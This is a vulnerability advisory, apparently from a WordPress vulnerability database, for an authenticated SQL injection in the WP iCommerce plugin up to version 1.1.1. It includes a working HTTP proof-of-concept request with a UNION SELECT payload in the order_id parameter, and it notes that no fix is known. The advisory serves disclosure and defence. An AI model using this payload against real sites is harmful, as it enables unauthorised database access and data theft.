WordPress Plugin Vulnerabilities

WP iCommerce <= 1.1.1 - Authenticated (contributor+) SQL Injection

Description

The Orders functionality in the plugin has an `order_id` parameter which is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection. The feature is available to low privilege users such as contributors

Proof of Concept

GET /wp-admin/admin.php?page=wpic_order_page&order_id=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL-- HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [contributor+]
Connection: close

Affects Plugins

No known fix

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Syed Sheeraz Ali of Codevigilant
Verified
Yes

Timeline

Publicly Published
2021-08-22 (about 2 years ago)
Added
2021-08-23 (about 2 years ago)
Last Updated
2022-03-07 (about 2 years ago)

Other